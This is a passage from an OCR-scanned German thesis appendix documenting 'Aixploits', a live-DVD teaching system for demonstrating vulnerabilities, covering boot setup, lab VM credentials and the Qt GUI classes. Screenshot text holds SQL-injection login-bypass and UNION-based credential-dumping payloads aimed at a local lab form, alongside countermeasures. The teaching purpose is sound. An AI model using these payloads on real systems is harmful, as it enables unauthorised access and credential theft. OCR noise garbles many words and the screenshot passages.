ne aus und speichern Sie diese auf dem USB-Stick. Aixploits findet die
darauf gespeicherte Maschine beim Bootvorgang.

e bootcd

Mit dieser CD kann ein auf einem USB-Stick oder einer USB-Festplatte in-
stalliertes Aixploits gestartet werden. Zugleich kann man diese Image-Datei
in einer Virtualisierungssoftware wie VMuware als CD-ROM Laufwerk ange-
ben und die USB-Festplatte mit Aixploits in der Virtualisierungsumgebung
booten.

Systemvoraussetzungen

Der Betrieb der virtuellen PCs erfordert einen Hauptspeicher von 1 GB. Der
Speicherbedarf hiangt von den verwendeten virtuellen Maschinen ab. Aixploits
funktioniert auch mit weniger Arbeitsspeicher, die virtuellen Maschinen arbeiten
dann langsamer.

Hardware der Firma Apple wird (noch) nicht unterstiitzt. Damit Sie Aixploits auf
Ihrem Rechner starten konnen, muss die Bootreihenfolge so eingestellt sein, dass
der Rechner zuerst von CD startet. Gdngige Tastenkombinationen zum Anzeigen
einer Auswahl des Bootmediums sind auch <F1>, <F4> bzw. <FN>+<F1> oder
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<FN>+<F4>. Die genaue Tastenkombination entnehmen Sie bitte dem Handbuch
Ihres Rechners.

Die Bootreihenfolge kann auch im BIOS festgelegt werden. Um in das BIOS
zu gelangen, driicken Sie wihrend des Hochfahrens die <Entf> -Taste. In den
meisten Féllen kommen Sie so in das BIOS-Setup. Je nach Hersteller ist aber
auch die <F1>- , <F12>- oder <F10>-Taste iiblich. Manchmal wird die richtige
Tastenkombination wahrend des Bootens angezeigt, sonst hilft das Handbuch
des Mainboards oder Ausprobieren weiter. In den meisten Féllen finden Sie die
Bootreihenfolge im Menii “Advanced BIOS Features”. Stellen Sie sicher, dass
dort als “First Boot Device” Thr CD-Laufwerk eingetragen ist. Speichern Sie die
Anderungen und verlassen Sie das BIOS.

Die Live-DVD bietet USB-Unterstiitzung fiir Eingabegeréite wie Maus und Tasta-
tur und fiir externe Speichermedien wie USB-Sticks. Bei Notebooks mit externem
Grafikausgang wird dieser Grafikausgang zusétzlich zum internen Display un-
terstiitzt. Dies ermoglicht die Prasentation mit einem Beamer.

Weitere Prisentationsmedien wie zum Beispiel Dashboards werden nicht un-
terstiitzt.

Sie konnen mit einem leeren USB-Stick der Grofle 1 GB, besser 2 GB, den
Betrieb deutlich beschleunigen, indem Sie die Prisentations-DVD wiéhlen. Soll-
ten Sie iiber einen Laptop mit wenig Hauptspeicher verfiigen, konnte der Ein-
satz von zwei USB-Sticks helfen. Ein Stick sollte dazu iiber 2 GB Speicherplatz
verfiigen.

Fiir die Erweiterung des Systems bendtigen Sie eine gesonderte Festplatte, die
USB angeschlossen wird. Auf dem Datentréger sollten mindestens 40 GB freier
Speicherplatz verfiigbar sein.

Verwendung des Live-DVD-Systems

Konfigurieren Sie Thren Laptop im BIOS so, dass er von dem CD-ROM-Laufwerk
starten kann. Am Ende des Bootvorgangs erhalten Sie eine Ubersicht verfiigbarer
virtueller Maschinen. Nach Betétigen der ENTER-Taste startet KDE mit der
Préasentationsoberfliche automatisch.

Wir empfehlen dringend, vor dem ersten Einsatz von Aixploits die Auflésung am
Beamer auszutesten. In Bezug auf Ihren Beamer und Thre Grafikkarte haben Sie
folgende Moglichkeiten:
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Startvorgang

e Aixploits (normal)

Aixploits findet den richtigen Treiber fiir die verbaute Grafikkarte sowie die
bestmogliche Grafikauflosung selbststéndig.

Diese Einstellung ist die Standard-Einstellung und wird nach 30 Sekunden
automatisch gestartet. Sollten Sie mit dem Ergebnis der Konfiguration nicht
zufrieden sein, versuchen Sie eine der weiteren Moglichkeiten.

e Aixploits (low resolution)

Aixploits findet in diesem Fall nur den richtigen Treiber fiir die Grafikkarte,
gibt als Auflésung jedoch den Modus 1024 x 768 Pixel fest vor. Dies ist ein
Modus, der von den meisten Beamern angezeigt werden kann.

e Aixploits (vesa)

Sollte die Grafikkarte nicht richtig erkannt werden, w#hlt Aixploits hier
den vesa-Grafikkartentreiber und bestimmt lediglich mégliche Auflésungen.
Dabei ist es aber leider vom Hersteller des Laptops abhéngig, ob nur der ex-
terne Grafikkartenausgang angesteuert werden kann oder eine Darstellung
auf dem TF'T des Laptops sowie auf dem Beamer gleichzeitig moglich ist.

e Aixploits (vesa, low resolution)

Als Fallback-Losung wahlt Aixploits den vesa-Treiber mit dem festen Mo-
dus 1024 x 768 Pixel.

Sollten Sie mit diesen Kombinationen nicht arbeiten kénnen, bitten wir um eine
Riickmeldung. Wir konnten nicht alle moglichen Kombinationen von Laptops und
Beamermodellen testen.

Alle vier Bootmoglichkeiten werden zudem noch mit Netzwerkunterstiitzung an-

geboten. Bei diesen Meniieintragen sucht Aixploits nach einem verfiigharen DHCP-
Server auf der LAN-Schnittstelle.

Benutzung lhrer xorg.conf

Sollten Sie in Besitz einer funktionierenden xorg.conf-Datei sein, speichern Sie
diese auf einen USB-Stick, der mit dem Namen vmachines benannt ist. Aix-
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ploits wird Sie fragen, ob die gefundene xorg.conf-Datei genutzt werden soll
und iiberspringt bei Bestatigung die automatische Konfiguration der Grafikkar-
te.

Unterstiitzte und verfiighare Grafiktreiber sind:
e radeon (ATI-Grafikkarten)
e vesa

e nv (NVIDIA-Grafikkarten)

e savage

Verwendung eines USB-Sticks fiir virtuelle Maschinen

Virtuelle Maschinen kénnen Sie auch auf einen USB-Stick speichern. Sie steigern
damit die Performance des ganzen Systems im Vergleich zu einem ausschliellichen
Betrieb von DVD.

Benennen Sie den Stick mit dem Namen vmachines und stecken Sie ihn vor dem
Booten ein.

Verwendung eines USB-Sticks fiir das Basissystem

Auch der Betrieb des Basissystems ist von einem USB-Stick moglich. Dieser
muss dazu jedoch mindestens 2 GB grofl sein. Formatieren Sie die Partition des
Sticks mit einem ext2 oder ext3 Dateisystem und entpacken Sie auf ihm das
tar-Archiv aixploits-source. Nun koénnen Sie das System mit der Boot-CD
starten.

Anstatt eines USB-Sticks konnen Sie auch eine USB-Festplatte verwenden. Ben-
nen Sie noch eine Partition mit dem Namen virtual-machines und kopieren
Sie ihre unkomprimierten VM Ware-Maschinen darauf. Beachten Sie, dass Aix-
ploits diese Partition in /var/lib/vmware/Virtual-Machines einhéngt. Sollten
keine weiteren virtuellen Maschinen vorhanden sein, stehen die unkomprimier-
ten virtuellen Maschinen auch unter /root/vmware zur Verfiigung und die But-
tons in der Prisentationsoberfliche funktionieren im Allgemeinen. Die Virtuali-
sierung ist um einiges schneller als bei komprimierten Maschinen. Wenn Sie also
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die Moglichkeit haben, mit dieser Losung zu arbeiten, sollten Sie diesen Weg
wahlen.

Prasentationsoberflache

Die Présentationsoberflidche ist in zwei Bereiche unterteilt. Der linke Fensterbe-
reich enthélt eine Meniistruktur, die die Auswahl der einzelnen Exploits anbietet.
Zu jedem Exploit existieren weitere Meniipunkte. Im rechten Bereich des Fensters
wird der Inhalt zum jeweiligen Meniipunkt angezeit. Dieser Inhalt &ndert sich je
nach ausgewidhltem Meniipunkt.

Aixploits - ein 5ystem zur Demonstration von Sicherheitslicken

Datel Optionen Hilfe

Sicherheitsltclken
= Betriebssysteme
The Gimp: Numaxes
ptrace bug
proc insertion
core dump
www-shell
winnule
Firefox: DoS
gv: buffer overflow
] Irternetanwendungen
unverschitsselte Protokolle Juliane Mathes
SQL-Injektion
phpEB
Webshell
Webserverlkonfiguration

Sicherheitsliicken in Internetanwendungen

zusammengestellt von

Abbildung A.1: Startbild der Prasentationsoberfliche

Beim Start des Présentationsoberfliche ist keine Schwachstelle ausgewahlt. Die
Oberflache hat nach dem Programmstart das in Abbildung A.1 gezeigte Ausse-
hen.

Die Auswahl eines Exploits geschieht im linken Teil der Prisentationsoberfliche.
Danach wird im rechten Teil der Présentationsoberfliche eine kurze Ubersicht
iiber die Sicherheitsliicke angezeigt. Diese Ubersicht kann in der Demonstrati-
on eingesetzt werden. Die Daten zu der Sicherheitsliicke sind kurz gehalten und
iibersichtlich angeordnet. Eine Beispiel dieses Meniipunkts ist in Abbildung A.2
zu sehen.

Ein Klick mit der Maus auf das kleine Plussysmbol vor dem Namen einer Schwach-
stelle 6ffnet ein Untermenii zu dem angewéhlten Exploit. In diesem Untermenii ste-
hen drei Meniipunkte zur Auswahl. Die Auswahl ist in Abbildung A.3 ersicht-
lich.
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X APIOTLE e Sy ETE M T EM DN St DO OIS CHETHEESTTERED) —|alx
Datei Optionen Hife

Sicherheitsidcken
= Betriebssysteme
The Gimp: Numaxes + Sicherheitsllicke beim Zugriff auf Datenbanken durch dynamisch erzeugte

SQL-Befehle
+ Benutzereingaben werden nicht ausreichend Uberprift oder als Text maskiert
+ Angreifer lkann eigene Befehle in die SQL-Abfrage einfligen (to inject)

SQL-Injektion:

ptrace bug
proc insertion
core dump
wiww-shell
winnuke Wirkungsweise:
Firefox: DoS
agwv: buffer averflow

& Internetanwendungen
unwverschllsselte Protokolle

+ vom Benutzer eingegebenen Parameter einer SQL-Anfrage werden ohne Prifung
an den Datenbankserver weiterreicht
* in der Eingabe enthaltene SQL -Befehle werden auf dem Datenbankserver

ausgeflhrt
+ je nach Konfiguration des Datenbankservers kann eine Shell auf dem System
phpBB erzeugt werden
Webshell
Webserverkonfiguration
Voraussetzung:

+ Webseiten und Applikationen, die Eingabedaten ohne Prifung oder Maskierung von
Funktionszeichen an SQL-Abfragen weitergeben

Gegenmaknahmen:

* Funlktionszeichen wie Baclkslash,Apostroph oder Semilkolon maskieren, um ifnen
die Sonderfunktion zu nehmen. Beim Maslkieren werden diese Zeichen durch einen
Baclkslash als Text gekennzeichnet. Der Vorgang wird auch als Escapen bezeichnet.

+ Benutzereingaben an Stored Procedures Ubergeben. Die SQOL-Abfrage wird erst
dort erzeugt und ausgeflhrt. Das Einschleusen weiterer SQL-Befehle wird so
verhindert.

Abbildung A.2: kurze Informationen zum Exploit

Der Menitipunkt Informationen hélt ausfiihrliche Informationen zu der Schwach-
stelle bereit. Dieser Meniipunkt ist nicht zur Prasentation geeignet. Die Informa-
tionen sind fiir den Vortragenden zur Vorbereitung der Demonstration gedacht.
Die gesammelten Informationen sollen die zeitaufwendige Recherche des Vortra-
genden zu dieser Sicherheitsliicke verkiirzen. Abbildung A.4 zeigt das Layout
dieses Meniipunkts.

Der Meniipunkt Schritt fiir Schritt zeigt das Vorgehen zur Demonstration der
Sicherheitsliicke. Der Vorgang ist in einzelne Schritte unterteilt und kann vom
Vortragenden Punkt fiir Punkt nachvollzogen werden. Der Meniipunkt ist in Ab-
bildung A.5 zu sehen.

Der Meniipunkt Ausfiihren ist zur Demonstration der Sicherheitsliicke gedacht.
Die einzelnen Schritte zur Durchfithrung sind durch vorgefertigte Buttons ein-
fach auszufithren. Die Kommandos sind durch Klick auf den Button auszufiihren.
Wenn Kommandos nicht direkt ausfithrbar gemacht werden konnten, so kénnen
sie per “Copy & Paste” markiert und an der gewiinschten Stelle ausgefiihrt
werden. Die Oberfliche zu diesem Meniipunkt wird in Abbildung A.6 darge-
stellt.
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X AP DTS e Sy ETEm T e DS Bt OO IS CHELHEI S| TEKED) —|Ox
Datei Optionen Hilfe

Sicherheitsltcken SQL-Injektion:
= Betriebssysteme
The Gimp: Numaxes + Sicherheitsllcke beim Zugriff auf Datenbanken durch dynamisch erzeugte
ptrace bug SQL-Befehle
roc insertion + Benutzereingaben werden nicht ausreichend Uberpriift oder als Text maskiert
P + Angreifer kkann eigene Befehle in die SQL-Abfrage einfligen (to inject)
core dump
www-shell
winnuke Wirkungsweise:
® Firefox: DoS
v: buffer overflow + vom Benutzer eingegebenen Parameter einer SQL -Anfrage werden chne Prifung
| gv: d an den Datenbanlserver weiterreicht
® ntemetanwein SlrikggEn * in der Eingabe enthaltene SQL-Befehle werden auf dem Datenbankserver
unverschllsselte Protololle ausgefihrt
£ SQL-Injektion + je nach Konfiguration des Datenbankservers kann eine Shell auf dem System
Informationen erzeugt werden
Schritt flr Schritt
Ausflhren
phpBB Voraussetzung:
Webshell + Webseiten und Applikationen, die Eingabedaten ohne Priifung oder Maskierung von
Webserverlkonfiguration Funktionszeichen an SQL-Abfragen weitergeben
Gegenmalknahmen:
* Funktionszeichen wie Backslash,Apostroph oder Semilkolon maskieren, um ihnen
die Sonderfunktion zu nehmen. Beim Maskieren werden diese Zeichen durch einen
Backslash als Text gekennzeichnet. Der Vorgang wird auch als Escapen bezeichnet.
+ Benutzereingaben an Stored Procedures Ubergeben. Die SQL-Abfrage wird erst
dort erzeugt und ausgefuhrt. Das Einschleusen weiterer SQL-Befehle wird so
verhindert.
[« | (£l

Abbildung A.3: Meniipunkte des Exploit

Virtuelle Maschinen

Folgende Tabelle listet die verfiigharen virtuellen Maschinen mit den darauf ent-

haltenen Beispielen auf. Zudem finden Sie Informationen iiber angelegte Nutzer
und Passworter.

’ Virtuelle Maschine ‘ Angaben zur Benutzung ‘ Verwundbar durch ‘
SuSE 10.1 Passwort root: Takelt e Core-Dump-Handling
User suse: aizploits e Proc-Liicke
e Gimp Num-Axes
e Firefox-ftp
e ¢v buffer overflow
RedHat© 7.3 Passwort root: TakelT | e ptrace-bug
User redhat: aizploits

Der Hostname, zugehorige IP-Adresse und ein Befehl zum Starten der einzelnen
verfiigbaren Maschinen in Aixploits werden vor dem Start der Desktopumgebung
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Aixploits - ein System zur Demonstration von Sicherheitslicken

Datei Optionen Hife

Sicherheitsiticken (o
= Betriebssysteme Wirkungsweise:
The Gimp: Numaxes

. . . _ .
s b vom Benutzer eingegebenen Parameter einer SQL-Anfrage werden ohne Prifung

an den Datenbankserver weiterreicht

proc insertion + in der Eingabe enthaltene SQL-Befehle werden auf dem Datenbankserver
core dump ausgefihrt
www-shell + Uber eingeschleussten Befehle kénnen weitere Daten auf dem Server ausgelesen
winnuke oder Datenséatze verandert werden
Firefox: DoS * je nach Konfiguration des Datenbankservers kann eine Shell auf dem System zu
gv: buffer averflow erzeugen

& Internetanwendungen * Uber diese Shell kann mit den Rechten, unter denen der Datenbankserver [&uft,

urvErsEitEsEi BretclalE auf das komplette System zugegriffen werden

a SQL-Injektion

Voraussetzung:

Schritt fUr Schritt

Ausflihren * Webseiten und Applikationen, die Eingabedaten ohne Prifung oder Maskierung
phpBB von Funktionszeichen an SQL-Abfragen weitergeben

Webshell
Webserverkonfiguration GegenmaRnahmen:
+ Funktionszeichen wie Backslash,Apostroph oder Semilkolon maskieren, um innen
die Sonderfunktion zu nehmen. Beim Maskieren werden diese Zeichen durch
einen Baclkslash als Text gelkennzeichnet. Der Vorgang wird auch als Escapen
bezeichnet. Es gibt zwei Mbglichkeiten, das Escapen von Eingaben zu alktivieren.
* |In der Konfigurationsdatei php.ini der PHP-Schnittstelle wird das
automatische Escapen von Funltionszeichen gobal, d.h. fur alle PHP-Skripte
gesetzt.
Magic quotes for incoming GET/POST/Cookie data
magic_guotes_gpc = On
* |ede Eingabe mit einer Escape-Funl<tion behandeln und so Funktionszeichen
maskieren. FUr SQL-Anfragen in PHP-Code erledigt dies die Funktion i}
(1 REID) mysql real escape string. &

Abbildung A.4: Meniipunkt Informationen

ausgegeben.

Erweiterung

Aixploits kann um die Préasentation weiterer Sicherheitsliicken erweitert werden.
Das Einpflegen einer Schwachstelle erfordert eine Anpasung der Live-DVD und
der Prisentationsoberfliche.

In der Live-DVD miissen der Code des Exploits und das Ziel inklusive der Si-
cherheitsliicke ergédnzt werden. Die Erweiterung der Live-DVD wird in der Di-
plomarbeit . Aixploits — Ein System zur Demonstration von Sicherheitsliicken -
Sicherheitsliicken in Betriebssystemen®“ von Benedikt Kalefl im Abschnitt 3 be-
schrieben.

Die Informationen zur Sicherheitsliicke miissen in die Prasentationsoberflache ein-
gebunden werden. Dieser Vorgang wird in der Diplomarbeit “Aixploits — Ein Sy-
stem zur Demonstration von Sicherheitsliicken - Sicherheitsliicken in Internetan-
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Datei Optionen Hilfe

Sicherheitsltcken

+ lampp Server starten{Apache Webserver und MySQI-Server)

& Betriebssysteme * Browser mit Webseite hittp.#127.0.0. 1Ainsafefogindndex.php aufrufen
The Gimp: Numaxes * Funktionalitét des Webformulars zeigen:
ptrace bug
proc insertion
core dump

+ Benutzername: test
+ Passwort: test

www-shell * Zum Verstédndnis: Struktur der Datenbank "userdatabase”
winnulke o
Firefox: DoS user pass permission
gwv: buffer averflow everything geheim  full
e Internetanwendungen test test read

unverschllsselte Protololle
= SQL-Injektion

(rerEErE *+ SQL-Injektion Tell 1 : Auslesen aller Benutzer und Rechte:

Schritt fr Schritt + Benutzername: beliebige Eingabe
Ausflhren * Passwort: ' OR 'x'='x
pNpBB + SQL-Injektion Teil 2 : Auslesen aller Benutzer und Passwarter:
Webshell
\Webserverlconfiguration + Benutzername: notintable' UNION ALL SELECT user,pass FROM usertable
WHERE 1=1 OR 'a=a
+ Passwort: beliebige Eingabe
GegenmaBnahme:
nicht verwundbares Formular durch Verwendung der PHP-Funtion
mysql_real_escape_string
* Webseite http://127.0.0. 1/safeflogin/index. php aufrufen
SQL-Injektlon scheitert; Auslesen aller Benutzer und Rechte:
* Benutzername: beliebige Eingabe
* Passwort: ' OR 'x'='x
£l | [+

Abbildung A.5: Meniipunkt Schritt fiir Schritt

wendungen® von Juliane Mathes im Abschnitt 5.5 behandelt.

FAQ

e Die DVD bootet nicht.

Bitte der Reihe nach die vier Eintrdge im Bootmenii ausprobieren. Zumin-
dest der vierte Eintrag sollte auf fast jedem Rechner funktionieren.

e Wie binde ich Powerpoint Présentationen ein?

Benutzen Sie OpenOffice zur Darstellung der Powerpoint-Dateien. Open-
Office ist auf der DVD enthalten.

e Die virtuellen Maschinen sind sehr langsam.

Dieser Punkt wird im Abschnitt Vorhandene Releases genauer behan-
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Aixploits - ein System zur Demonstration von Sicherheitslicken

Datei Optionen Hife

Sicherheitsiticken
= Betriebssysteme
The Gimp: Numaxes
ptrace bug
proc insertion
core dump
wiww-shell
winnuke
Firefox: DoS
agwv: buffer averflow
& Internetanwendungen
unwverschllsselte Protokolle
a SQL-Injektion
Informationen
Schritt fur Schritt
phpBB
Webshell
Webserverkonfiguration

* lampp Server starten (Komponenten Apache

Webserver und MySQL Server) /opt/lampp/lampp start l

* Webselte http://127.0.0.1/unsafefloginf/index. php aufrufen

+ Funktionalitét des Webfaormulars zeigen:
+ Benutzername: test
* Passwort: test

* Zum Versténdnis: Strultur der Datenbank "userdatabase”

user pass permission
everything geheim  full
test test read

+ SQL-Injektion Teil 1 : Auslesen aller Benutzer und Rechte:

* Benutzername: beliebige Eingabe
* Passwort: ' OR 'x'='x

+ SQL-Injeltion Teil 2 : Auslesen aller Benutzer und Passworter:

* Benutzername: notintable' UNION ALL SELECT user,pass FROM usertable
WHERE 1=1 OR 'x'='x
* Passwort: beliebige EiIngabe

Gegenmalnahme:

nicht verwundbares Formular durch Verwendung der PHP-Funktion
mysqgl_real_escape_string; SQL-Injelion Teil 1 und 2 scheitern

* Webselte http://127.0.0. 1/safe/login/index. php aufrufen

Abbildung A.6: Meniipunkt Ausfiihren

delt.
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B Dokumentation zur Entwicklung
der Prasentationsumgebung

B.1 Klassendiagramm

Das in Abbildung B.1 gezeigte Schema stellt die Klassen des Programms dar. Die
Klasse MainAix stellt das Hauptprogramm. Innerhalb des Hauptprogramms wird
mit Objekten der Klasse listAix gearbeitet. In dieser Klasse werden die zu demon-

strierenden Sicherheitsliicken in einer dynamischen Liste verwaltet.

[QApplication MainAixj—b{ AixMenuBar J

ki

{ AixploitsList listAix }

/\

QPtrList <Folder> QPtrList <AixWidgetList>

IstFolder AixWidgetPtrList
\ |
{ Folder } [ Message J { AixWidget J

¥ h | ¥

[ FolderListIltem J [ MessageListltem } [ AixButton }

Abbildung B.1: schematische Klasseniibersicht

Zu jeder Schwachstelle wird ein Objekt der Klasse Folder angelegt. Jedem Folder
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werden Objekte der Klasse Message zugeordnet. In diesen Messages werden der
Pfad zu den Eingabedateien des Exploits und eine eindeutige ID gespeichert. Die
Objekte der Klassen Folder und Message werden wiederum in einer dynamischen
Liste IstFolder verwaltet. Jeder Schwachstelle werden in der Klasse AixWidget-
PtrList die vier Fenster zugeordnet, weclhe die Inhalte zu dem Exploit darstel-
len. Die Fensterinhalte sind Objekte der Klasse AixWidget. Innerhalb der Fenster
werden Buttons aus der Klasse AixButton genutzt.

B.2 Ubersicht der programmierten Klassen

B.2.1 Klasse AixIni

Die Klasse AixIni liest Parameter aus der Initialisierungsdatei aixploits.ini ein.
Diese Werte werden in Variablen gespeichert. Alle Klassen kénnen iiber die Funk-
tionen der Klasse AixIni auf die Variablen zugreifen.

t Color

Colors

Abbildung B.2: Zusammengehorigkeiten von AixIni

Fuktionen der Klasse AixIni:

Riickgabewert: void

Name: ReadlIni

Parameter: void

Beschreibung: Die Funktion liest die Konfigurationswerte aus der
Konfigurationsdatei ein.

Riickgabewert: int

Name: GetWidth

Parameter: void

Beschreibung: Die Funktion gibt die Fensterbreite an.
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B.2 Ubersicht der programmierten Klassen

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

int

GetHeight

void

Die Funktion gibt die Fensterhohe an.

int

GetR

void

Die Funktion gibt die R-Komponente des RGB Wertes an.

int

GetG

void

Die Funktion gibt die G-Komponente des RGB Wertes an.

int

GetB

void

Die Funktion gibt die B-Komponente des RGB Wertes an.

int

GetFontSize

void

Die Funktion gibt die Schriftgréfie an.

int

GetListviewWidth

void

Die Funktion gibt die Breite der Listentruktur im linken
Bereich an.

QString

GetLanguage

void

Die Funktion gibt die Sprachversion an.

Ein System zur Demonstration von Sicherheitsliicken
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Riickgabewert: QString

Name: GetDirectory

Parameter: void

Beschreibung: Die Funktion gibt das Verzeichnis an, in dem alle
Eingabedateien liegen.

B.2.2 Klasse AixploitsList

Diese Klasse bearbeitet die Liste der Fenster zu den einzelnen Exploits. Zu jedem
Exploit gehoren vier Fenster. Die Inhalte der Fenster werden in der Klasse Aix-
Widget erzeugt.

t AlxWidget
f 1

m_AixWidget

AlxWidget

infaw
appfaWw

Abbildung B.3: Zusammengehorigkeiten von AixploitsList

Fuktionen der Klasse AixploitsList:

Riickgabewert: void

Name: AixploitsList

Parameter: QWidget *parent , const char *name , AixIni* IniValues ,
QString language

Beschreibung: Die Funktion erzeugt eine Liste von Aixploits Elementen.

Riickgabewert: int

Name: Getld

Parameter: void

Beschreibung: Die Funktion gibt die Nummer des aktuellen Fensterinhalts an.
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Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

Name:
Parameter:
Beschreibung:

Riickgabewert:

int
GetCurrentItemNumber
void

Die Funktion gibt die Nummer des aktivierten Listenelements an.

int

SetCurrentltemNumber

void

Die Funktion setzt die Nummer des aktivierten Listenelements.

QListViewItem*

GetFirstltem

void

Die Funktion gibt das erste Aixploits Element zuriick.

QListViewItem™

GetNextItem

void

Die Funktion gibt das folgende Aixploits Element zuriick.

void

ShowlItem

long id

Die Funktion zeigt das Aixploits Element mit der iibergebenen
Nummer an.

void

slotFolderChanged

QListViewltem*

Die Funktion aktualisiert die Listenelemente nach einem
Mausklick auf ein Listenelement.

int
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Name: ReadDirList

Parameter: QString &dirlist, QString &foldername, int &id, Folder* folder,
AixIni* IniValues

Beschreibung: Die Funktion liest die Liste der Listenelemente ein.

Riickgabewert: int

Name: initFolders

Parameter: AixIni* IniValues

Parameter: Folder *folder, QString &filename, QString &name, int &id,
AixIni* IniValues

Beschreibung: Die iiberladene Funktion initialisiert die Listenelemente.

Riickgabewert: void

Name: setupFolders

Parameter: QListView *folders

Beschreibung: Die Funktion reserviert Speicherplatz fiir die Listenelemente.

Riickgabewert: void

Name: createFolders

Parameter: Folder *folder, QString &name, QString &sname,
QString &ffoldername, int &id, AixIni* IniValues

Beschreibung: Die Funktion erzeugt die Listenelemente.

Riickgabewert: void

Name: HideAllltems

Parameter: void

Beschreibung: Die Funktion blendet alle Fenster aus.

B.2.3 Klasse AixWidgetList

Die Klasse erstellt eine Liste von Fensterelementen.

Fuktionen der Klasse AixWidgetList:
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AlxWidget

Abbildung B.4: Klassendiagramm fiir AixWidgetList

t AixWidget
A

m_AixWidget

AixWidget

AlxWidgetltem

Abbildung B.5: Zusammengehorigkeiten von AixWidgetList

Riickgabewert: void

Name: AixWidgetList

Parameter: QSplitter *parent ,QString &filename, QString &name, int &id,
AixIni* IniValues, QString language

Beschreibung: Die Funktion erzeugt ein leeres Fenster fiir den Inhalt eines
Exploits.

B.2.4 Klasse AixWidget

Die Klasse erzeugt den Inhalt eines Fensters. Die Fenster werden durch die Klasse
AixWidgetList in einer Liste zusammengefasst. Die Klasse AixploitsList verwaltet
die Fenster dann in einer dynamischen Liste.

Fuktionen der Klasse AixWidget:

Riickgabewert: void

Name: AixWidget

Parameter: QSplitter *parent ,QString &filename, QString &name, int &id,
AixIni* IniValues, QString language
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AlxWidget

Abbildung B.6: Klassendiagramm fiir AixWidget

m_AixWidget

AlxWidget

Abbildung B.7: Zusammengehorigkeiten von AixWidget

Beschreibung: Die Funktion fiigt den Inhalt eines Exploits in ein Fenster ein.

Riickgabewert: void

Name: show

Parameter: void

Beschreibung: Die Funktion zeigt ein Fenster an.

Riickgabewert: void
Name: hide
Parameter: void
Beschreibung: Die Funktion blendet ein Fenster aus.

Riickgabewert: void

Name: ReadAixContent

Parameter: QWidget *window, QString &filename, AixIni* IniValues,
QString language

Beschreibung: Die Funktion liest den Inhalt eines Fensters aus der Datei ein.
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Riickgabewert: void

Name: MakeAixLabel

Parameter: QWidget *window, QString &text, short x, short y, short width,
short height, QBoxLayout *Box, AixIni* IniValues

Beschreibung: Die Funktion erzeugt ein Textelement in dem Fenster.

Riickgabewert: void

Name: MakeAixButton

Parameter: QWidget *window, QString &text, QStringList &command,
short x, short y, short width, short height,
QBoxLayout *Box, AixIni* IniValues

Beschreibung: Die Funktion erzeugt einen Button in dem Fenster.

B.2.5 Klasse FolderListltem

Die Klasse erzeugt die Ordnerstruktur des linken Meniis. Der oberste Ordner
enhélt die Unterteilung der Sicherheitsliicken in “Schwachstellen in Internetan-
wendungen” bzw. “Schwachstellen in Betriebssystemen”. Die Exploits sind Un-
terordnern zugeordnet. Jeder Unterordner steuert die vier Fenster eines Exploits.
Jedes dieser Fenster wiederum ist iiber einen Eintrag unterhalb des Ordners des
Exploits erreichbar.

Folder

myFolder

Abbildung B.8: Zusammengehorigkeiten von FolderListItem

Fuktionen der Klasse FolderListItem:

Riickgabewert: void

Name: FolderListItem
Parameter: QListView *parent, Folder *f
Parameter: FolderListItem *parent, Folder *f

Beschreibung: Die iiberladene Funktion erzeugt eine Liste der Ordner fiir die

Ein System zur Demonstration von Sicherheitsliicken 7



B Dokumentation zur Entwicklung der Préisentationsumgebung

linke Menitistruktur.

Riickgabewert: void

Name: insertSubFolders

Parameter: const QObjectList *1st

Beschreibung: Die iiberladene Funktion fiigt einen Ordner in die
Listenmeniistruktur ein.

Riickgabewert: QString

Name: key

Parameter: int column, bool ascending

Beschreibung: Die Funktion setzt die Reihenfolge der Sortierung der Ordner.

Riickgabewert: Folder*

Name: folder

Parameter: void

Beschreibung: Die Funktion gibt den aktuellen Ordner zuriick.

B.2.6 Klasse Folder

Die Klasse erzeugt einen Ordner. Die Ordner werden in der Klasse FolderListItem
verwaltet.

Fuktionen der Klasse Folder:

Riickgabewert: void

Name: Folder

Parameter: Folder *parent, const QString &name

Beschreibung: Die Funktion erzeugt einen Ordner fiir die Listenmeniistruktur.

Riickgabewert: void

Name: addMessage

Parameter: Message *m

Beschreibung: Die Funktion fiigt einem Ordner eine Message hinzu.
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Riickgabewert: QString

Name: folderName

Parameter: void

Beschreibung: Die Funktion gibt den Namen eines Ordners aus.

Riickgabewert: Message™

Name: firstMessage

Parameter: void

Beschreibung: Die Funktion gibt die erste Message eines Ordners zuriick.

Riickgabewert: Message™

Name: nextMessage

Parameter: void

Beschreibung: Die Funktion gibt die néchste Message eines Ordners zuriick.

B.2.7 Klasse MessageListltem

Die Klasse erzeugt die Messages fiir die Ordner. Zu jedem Ordner gibt es zwei
Messages. In der ersten Message wird zu jedem Fenster gespeichert, welche Datei
fiir den Fensterinhalt eingelesen werden muss. In der zweiten Message wird eine
eindeutige Nummer abgelegt. Unter dieser Nummer kann der Ordner und dariiber
der Fensterinhalt angesprochen werden.

Message

myMessage

Abbildung B.9: Zusammengehorigkeiten von MessageListItem

Fuktionen der Klasse MessageListItem:

Riickgabewert: void
Name: MessageListItem
Parameter: QListView *parent, Message *m
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Beschreibung: Die Funktion fiigt eine Message in die Liste ein.

Riickgabewert: Message™

Name: message

Parameter: QListView *parent, Message *m
Beschreibung: Die Funktion gibt eine Message zuriick.

B.2.8 Klasse Message

Die Klasse erzeugt eine Message. Die Messages werden in der Klasse Message-
ListItem verwaltet.

Fuktionen der Klasse Message:

Riickgabewert: void

Name: Message
Parameter: const QString & _body
Parameter: const Message &m

Beschreibung: Die iiberladene Funktion erzeugt eine Message.

Riickgabewert: QString

Name: body

Parameter: void

Beschreibung: Die Funktion gibt den Inhalt einer Message aus.

B.2.9 Klasse AixMenuBar

Diese Klasse baut das Menii der Oberflache auf. Es werden Meniipunkte zum
Andern der Sprachversion und der Schriftgréfie erzeugt.

Fuktionen der Klasse AixMenuBar:

Riickgabewert: void
Name: AixMenuBar
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Abbildung B.10: Zusammengehorigkeiten von AixMenuBar

Parameter:

Beschreibung:

Riickgabewert:
Name:
Parameter:

Beschreibung:

Riickgabewert:
Name:
Parameter:
Beschreibung:

